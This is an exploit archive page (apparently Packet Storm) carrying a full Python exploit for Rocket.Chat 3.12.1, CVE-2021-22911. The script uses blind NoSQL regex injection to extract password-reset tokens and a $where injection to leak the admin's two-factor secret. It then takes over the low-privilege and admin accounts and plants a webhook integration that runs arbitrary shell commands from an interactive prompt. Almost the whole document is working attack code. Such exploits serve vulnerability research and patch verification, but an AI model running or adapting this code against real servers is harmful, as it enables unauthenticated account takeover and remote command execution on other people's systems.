exploit the possibilities

Rocket.Chat 3.12.1 NoSQL Injection / Code Execution

Rocket.Chat 3.12.1 NoSQL Injection / Code Execution
Posted Jun 7, 2021
Authored by enox

Rocket.Chat version 3.12.1 unauthenticated NoSQL injection to remote code execution exploit.

tags | exploit, remote, code execution, sql injection
advisories | CVE-2021-22911
MD5 | 1d488a4a23cebcb6cf88668c84de24c7

Rocket.Chat 3.12.1 NoSQL Injection / Code Execution

Change Mirror Download
# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat

#!/usr/bin/python

import requests
import string
import time
import hashlib
import json
import oathtool
import argparse

parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
args = parser.parse_args()


adminmail = args.a
lowprivmail = args.u
target = args.t


def forgotpassword(email,url):
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
print("[+] Password Reset Email Sent")


def resettoken(url):
u = url+"/api/v1/method.callAnon/getPasswordPolicy"
headers={'content-type': 'application/json'}
token = ""

num = list(range(0,10))
string_ints = [str(int) for int in num]
characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

while len(token)!= 43:
for c in characters:
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
time.sleep(0.5)
if 'Meteor.Error' not in r.text:
token += c
print(f"Got: {token}")

print(f"[+] Got token : {token}")
return token


def changingpassword(url,token):
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
if "error" in r.text:
exit("[-] Wrong token")
print("[+] Password was changed !")


def twofactor(url,email):
# Authenticating
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
if "error" in r.text:
exit("[-] Couldn't authenticate")
data = json.loads(r.text)
data =(data['message'])
userid = data[32:49]
token = data[60:103]
print(f"[+] Succesfully authenticated as {email}")

# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
r = requests.get(url+payload,cookies=cookies,headers=headers)
code = r.text[46:98]
print(f"Got the code for 2fa: {code}")
return code


def changingadminpassword(url,token,code):
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
if "403" in r.text:
exit("[-] Wrong token")

print("[+] Admin password changed !")


def rce(url,code,cmd):
# Authenticating
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
headers={'content-type': 'application/json'}
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
if "error" in r.text:
exit("[-] Couldn't authenticate")
data = json.loads(r.text)
data =(data['message'])
userid = data[32:49]
token = data[60:103]
print("[+] Succesfully authenticated as administrator")

# Creating Integration
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
cookies = {'rc_uid': userid,'rc_token': token}
headers = {'X-User-Id': userid,'X-Auth-Token': token}
r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
data = r.text
data = data.split(',')
token = data[12]
token = token[9:57]
_id = data[18]
_id = _id[7:24]

# Triggering RCE
u = url + '/hooks/' + _id + '/' +token
r = requests.get(u)
print(r.text)

############################################################


# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)

## Getting reset token
token = resettoken(target)

## Changing Password
changingpassword(target,token)


# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)


## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)

## Getting reset token
token = resettoken(target)


## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

## Authenticting and triggering rce

while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)



Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    9 Files
  • 17
    Jun 17th
    33 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close